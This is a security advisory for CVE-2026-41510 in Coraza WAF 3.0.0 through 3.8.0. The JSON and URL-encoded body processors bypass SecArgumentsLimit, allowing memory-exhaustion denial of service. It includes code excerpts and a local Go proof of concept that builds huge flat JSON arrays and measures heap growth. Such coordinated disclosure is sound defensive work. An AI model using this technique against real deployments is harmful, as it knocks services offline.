Skip to main content
HIGH7.2 CVE-2026-41510

Coraza WAF Body Processors: SecArgumentsLimit Bypass Causes Memory-Exhaustion DoS

A high severity vulnerability in Coraza WAF versions 3.0.0 through 3.8.0 allows remote, unauthenticated attackers to bypass SecArgumentsLimit when processing JSON or URL-encoded request bodies. Crafted requests can trigger excessive memory consumption, potentially causing process termination and denial of service. The issue is tracked as CVE-2026-41510 (CVSS 7.2) and is fixed in version 3.8.1.

Coraza WAF versions 3.0.0 through 3.8.0 contain an improper resource-limiting vulnerability in the JSON and URL-encoded request-body processors. A remote, unauthenticated attacker can send crafted HTTP requests that trigger excessive argument creation, resulting in uncontrolled memory consumption and denial of service.

The affected body processors insert parsed values directly into the ARGS_POST collection instead of using the standard argument-handling path that enforces SecArgumentsLimit. As a result, request-body parsing can continue beyond the configured argument threshold, allowing an attacker to create a large number of request arguments and consume excessive memory.

Technical Details

The components and functions involved are:

ARGS_POST and its limit check live in the transaction

ARGS_POST is the argsPost collection of the transaction. NewTransactionVariables() creates it and TransactionVariables.ArgsPost() hands it to other components:

go
// internal/variables/variablesmap.gen.go, lines 103 to 104
case ArgsPost:
    return "ARGS_POST"
 
// internal/corazawaf/transaction.go, line 1947, in NewTransactionVariables()
v.argsPost = collections.NewNamedCollection(variables.ArgsPost)
 
// internal/corazawaf/transaction.go, lines 2150 to 2152
func (v *TransactionVariables) ArgsPost() collection.Map {
    return v.argsPost
}

The limit is checked only by checkArgumentLimit(), which AddPostRequestArgument() calls before it adds a value. Nothing inside the library calls AddPostRequestArgument(). It exists on the public types.Transaction interface for integrators:

go
// internal/corazawaf/transaction.go, lines 780 to 799
func (tx *Transaction) AddPostRequestArgument(key string, value string) {
    if tx.checkArgumentLimit(tx.variables.argsPost) { // limit check for ARGS_POST
        tx.debugLogger.Warn().Msg("skipping post request argument, over limit")
        return
    }
    tx.variables.argsPost.Add(key, value)
}
// ...
func (tx *Transaction) checkArgumentLimit(c *collections.NamedCollection) bool {
    return c.Len() >= tx.WAF.ArgumentLimit
}

Body processors receive ARGS_POST but not the limit

ProcessRequestBody() calls the processor named in REQBODY_PROCESSOR with tx.Variables(), which exposes ARGS_POST through ArgsPost(), and with BodyProcessorOptions. That struct has no argument limit field, so only the JSON depth limit is passed:

go
// internal/corazawaf/transaction.go, lines 1132 to 1136
if err := bodyprocessor.ProcessRequest(reader, tx.Variables(), plugintypes.BodyProcessorOptions{
    Mime: mimeType,
    StoragePath: tx.WAF.UploadDir,
    RequestBodyRecursionLimit: tx.WAF.RequestBodyJsonDepthLimit, // tx.WAF.ArgumentLimit is never passed
}); err != nil {

The JSON and urlencoded processors write every value into ARGS_POST

readItems() flattens the JSON body into a map with one entry per value (line 136). Its only guard is the nesting depth check (lines 101 to 105), so a flat array such as [1,1,1,…] yields one entry per element. jsonBodyProcessor.ProcessRequest() then copies the whole map into ARGS_POST:

go
// internal/bodyprocessors/json.go, lines 31 to 38
col := v.ArgsPost() // ARGS_POST
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // whole body flattened, depth limit only
if err != nil {
    return err
}
for key, value := range data {
    col.SetIndex(key, 0, value) // no argument limit check
}

urlencodedBodyProcessor.ProcessRequest() does the same with ParseQuery(), which keeps every pair in the body:

go
// internal/bodyprocessors/urlencoded.go, lines 26 to 30
values := urlutil.ParseQuery(b, '&') // every pair in the body, no count limit
argsCol := v.ArgsPost() // ARGS_POST
for k, vs := range values {
    argsCol.Set(k, vs) // no argument limit check
}

Neither processor calls AddPostRequestArgument(), so checkArgumentLimit() never runs for request bodies. SecRequestBodyJsonDepthLimit bounds only nesting depth and SecRequestBodyLimit bounds only bytes, so a body within the recommended 13107200 byte limit can still create about 6.5 million ARGS_POST entries.

Proof of Concept

The following proof of concept reproduces the issue against Coraza v3.8.0. It configures SecArgumentsLimit to 1000 and processes increasingly large flat JSON arrays while measuring heap consumption.

go
package main

import (
    "fmt"
    "runtime"
    "strings"

    "github.com/corazawaf/coraza/v3"
)

const directives = `
SecRuleEngine On
SecRequestBodyAccess On
SecRequestBodyLimit 13107200
SecArgumentsLimit 1000
SecRule REQUEST_HEADERS:Content-Type "@rx application/json" "id:1,phase:1,pass,nolog,ctl:requestBodyProcessor=JSON"
`

func heapMB() float64 {
    var m runtime.MemStats
    runtime.GC()
    runtime.ReadMemStats(&m)
    return float64(m.HeapAlloc) / (1024 * 1024)
}

func run(elements int) float64 {
    waf, err := coraza.NewWAF(
        coraza.NewWAFConfig().WithDirectives(directives),
    )
    if err != nil {
        panic(err)
    }

    body := []byte(
        "[" + strings.Repeat("1,", elements-1) + "1]",
    )

    tx := waf.NewTransaction()
    tx.AddRequestHeader("Content-Type", "application/json")
    tx.ProcessRequestHeaders()

    before := heapMB()

    if _, _, err := tx.WriteRequestBody(body); err != nil {
        panic(err)
    }

    if _, err := tx.ProcessRequestBody(); err != nil {
        panic(err)
    }

    used := heapMB() - before

    tx.Close()

    return used
}

func main() {
    fmt.Println(
        "SecArgumentsLimit is 1000, so ARGS_POST should remain bounded.",
    )

    for _, n := range []int{
        1000,
        100000,
        1000000,
        3000000,
    } {
        fmt.Printf(
            "%8d array elements (~%d MB body) -> +%.0f MB heap\n",
            n,
            len("["+strings.Repeat("1,", n-1)+"1]")/(1024*1024),
            run(n),
        )
    }
}

Heap usage increases with the number of parsed elements rather than plateauing around the configured argument limit, demonstrating that SecArgumentsLimit is not applied by the affected request-body processing path.

Impact

A remote, unauthenticated attacker can craft HTTP requests containing a large number of JSON or URL-encoded parameters, causing Coraza WAF to allocate excessive memory.

Successful exploitation may result in:

  • Process-level memory exhaustion
  • Termination of the Coraza-hosting process
  • Denial of service for applications relying on the affected WAF instance

Disclosure timeline

Apr 16, 2026
Pre-existing advisory

GHSA-6r3q-mjv7-xr8m was reported to the Coraza maintainers.

Apr 21, 2026
CVE reserved

CVE-2026-41510 was reserved for the pre-existing GHSA-6r3q-mjv7-xr8m advisory.

Jul 1, 2026
Discovered

The argument-limit bypass affecting the JSON and URL-encoded request-body processors was identified.

Jul 14, 2026
Vendor notified

GHSA-3ww9-vw83-9w5x was submitted to the Coraza maintainers with technical details and a proof of concept.

Jul 29, 2026
Advisories merged

The maintainers merged GHSA-3ww9-vw83-9w5x into the pre-existing GHSA-6r3q-mjv7-xr8m advisory and extended the existing fix to cover both findings.

Oct 2, 2026
Public disclosure

References

Share